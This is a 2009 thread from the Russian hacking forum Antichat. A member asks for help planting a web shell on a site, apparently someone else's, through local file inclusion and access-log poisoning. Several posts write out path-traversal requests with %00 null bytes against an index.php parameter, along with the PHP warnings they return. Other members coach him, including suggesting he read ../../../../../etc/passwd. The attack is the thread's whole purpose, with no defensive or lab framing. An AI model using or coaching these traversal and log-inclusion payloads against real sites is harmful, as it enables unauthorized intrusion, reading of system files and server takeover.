Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|
24.01.2009, 18:44
|
|
Познающий
Регистрация: 18.11.2007
Сообщений: 69
Провел на форуме:
940986
Репутация:
6
|
|
Помогите залить шелл
зы не удаляете модеры плиз.
сделал запрос к сайту с адресом шелла.
адресс шела остался в логах. теперь надо как то инклюдить логи.
нужно найти лог как то.
я ввел:
http://www.site.ru/index.php?id=../../../../../www.site.ru/logs/access.log%00
вот что пишет:
Warning: main(texts/../../../../../www.site.ru/logs/access.log .php) [function.main]: failed to open stream: No such file or directory in /home/httpd/virtual/www.site.ru/index.php on line 6
Warning: main(texts/../../../../../www.site.ru/logs/access.log .php) [function.main]: failed to open stream: No such file or directory in /home/httpd/virtual/www.site.ru/index.php on line 6
Warning: main() [function.include]: Failed opening 'texts/../../../../../www.site.ru/logs/access.log .php' for inclusion (include_path='.:/usr/local/share/pear') in /home/httpd/virtual/www.site.ru/index.php on line 6
подскажите кто нибудь?
Последний раз редактировалось ttt0z; 24.01.2009 в 18:47..
|
|
|
24.01.2009, 18:50
|
|
Постоянный
Регистрация: 19.03.2007
Сообщений: 684
Провел на форуме:
3152874
Репутация:
1020
|
|
Сообщение от ttt0z
зы не удаляете модеры плиз.
нужно найти лог как то.
я ввел:
http://www.site.ru/index.php?id=../../../../../www.site.ru/logs/access.log%00
вот что пишет:
Warning: main(texts/../../../../../www.site.ru/logs/access.log .php) [function.main]: failed to open stream: No such file or directory in /home/httpd/virtual/www.site.ru/index.php on line 6
Warning: main(texts/../../../../../www.site.ru/logs/access.log .php) [function.main]: failed to open stream: No such file or directory in /home/httpd/virtual/www.site.ru/index.php on line 6
Warning: main() [function.include]: Failed opening 'texts/../../../../../www.site.ru/logs/access.log .php' for inclusion (include_path='.:/usr/local/share/pear') in /home/httpd/virtual/www.site.ru/index.php on line 6
и че ты делаешь, ты подымаешься в корень / и пытаешься открыть там /www.site.ru/logs/access.log,
попробуй для начала хотя бы прочитать ../../../../../etc/passwd%00
|
|
|
|
24.01.2009, 18:57
|
|
Познающий
Регистрация: 18.11.2007
Сообщений: 69
Провел на форуме:
940986
Репутация:
6
|
|
AkyHa_MaTaTa:
Warning: main(texts/../../../../../etc/passwd .php) [function.main]: failed to open stream: No such file or directory in /home/httpd/virtual/www.site.ru/index.php on line 6
Warning: main(texts/../../../../../etc/passwd .php) [function.main]: failed to open stream: No such file or directory in /home/httpd/virtual/www.site.ru/index.php on line 6
Warning: main() [function.include]: Failed opening 'texts/../../../../../etc/passwd .php' for inclusion (include_path='.:/usr/local/share/pear') in /home/httpd/virtual/www.site.ru/index.php on line 6
|
|
|
|
24.01.2009, 19:03
|
|
Познавший АНТИЧАТ
Регистрация: 09.06.2006
Сообщений: 1,359
Провел на форуме:
5301021
Репутация:
1879
|
|
No such file or directory
Переведи это...
|
|
|
|
24.01.2009, 19:07
|
|
Познающий
Регистрация: 18.11.2007
Сообщений: 69
Провел на форуме:
940986
Репутация:
6
|
|
и похоже %00 не работает, есть какой-то аналог?
пищу http://www.site.ru/index.php?id=../script.php%00 - скрипт не инклюдиться
пищу http://www.site.ru/index.php?id=../script - скрипт инклюдиться
|
|
|
|
24.01.2009, 19:10
|
|
Познавший АНТИЧАТ
Регистрация: 14.01.2008
Сообщений: 1,165
Провел на форуме:
7229141
Репутация:
3099
|
|
Сообщение от ttt0z
и похоже %00 не работает, есть какой-то аналог?
пищу http://www.site.ru/index.php?id=../script.php%00 - скрипт не инклюдиться
пищу http://www.site.ru/index.php?id=../script - скрипт инклюдиться
блин чеж ты такой тугой =\ тебе же отписали, ты перевел? а теперь подумай что это заначит.
|
|
|
|
24.01.2009, 19:15
|
|
Познающий
Регистрация: 18.11.2007
Сообщений: 69
Провел на форуме:
940986
Репутация:
6
|
|
xcedz, бл* я знаю как переводиться. но это ту не причем!
вот пример! который показывает что %00 не работает!
index.php добавляет ".PHP" к запросу!
пищу http://www.site.ru/index.php?id=../script - скрипт инклюдиться
///ЗДЕСЬ он дабавляет и все работает
пищу http://www.site.ru/index.php?id=../script.php%00 - скрипт не инклюдиться
/// ЗДЕСЬ %00 должен обрубить правую часть но он не обрубает!!
и кто тугой бля*?? причем тут перевод???
|
|
|
|
24.01.2009, 19:15
|
|
Постоянный
Регистрация: 19.03.2007
Сообщений: 684
Провел на форуме:
3152874
Репутация:
1020
|
|
Сообщение от ttt0z
AkyHa_MaTaTa:
Warning: main(texts/../../../../../etc/passwd .php) [function.main]: failed to open stream: No such file or directory in /home/httpd/virtual/www.site.ru/index.php on line 6
Warning: main(texts/../../../../../etc/passwd .php) [function.main]: failed to open stream: No such file or directory in /home/httpd/virtual/www.site.ru/index.php on line 6
Warning: main() [function.include]: Failed opening 'texts/../../../../../etc/passwd .php' for inclusion (include_path='.:/usr/local/share/pear') in /home/httpd/virtual/www.site.ru/index.php on line 6
passwd _.php null байт не канает, напряги мозги, и подумай, там ничего сложного нету
|
|
|
|
24.01.2009, 19:18
|
|
Познавший АНТИЧАТ
Регистрация: 14.01.2008
Сообщений: 1,165
Провел на форуме:
7229141
Репутация:
3099
|
|
Сообщение от ttt0z
xcedz, бл* я знаю как переводиться. но это ту не причем!
вот пример! который показывает что %00 не работает!
index.php добавляет ".PHP" к запросу!
пищу http://www.site.ru/index.php?id=../script - скрипт инклюдиться
///ЗДЕСЬ он дабавляет и все работает
пищу http://www.site.ru/index.php?id=../script.php%00 - скрипт не инклюдиться
/// ЗДЕСЬ %00 должен обрубить правую часть но он не обрубает!!
и кто тугой бля*?? причем тут перевод???
ты можешь прочитать хотябы элементарно etc/passwd ? что он тебе выведет? 
|
|
|
|
24.01.2009, 19:19
|
|
Познающий
Регистрация: 18.11.2007
Сообщений: 69
Провел на форуме:
940986
Репутация:
6
|
|
AkyHa_MaTaTa ты написал null байт
вот без нул байта:
Warning: main(texts/../../../../../etc/passwd.php) [function.main]: failed to open stream: No such file or directory in /home/httpd/virtual/www.site.ru/index.php on line 6
Warning: main(texts/../../../../../etc/passwd.php) [function.main]: failed to open stream: No such file or directory in /home/httpd/virtual/www.site.ru/index.php on line 6
Warning: main() [function.include]: Failed opening 'texts/../../../../../etc/passwd.php' for inclusion (include_path='.:/usr/local/share/pear') in /home/httpd/virtual/www.site.ru/index.php on line 6
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
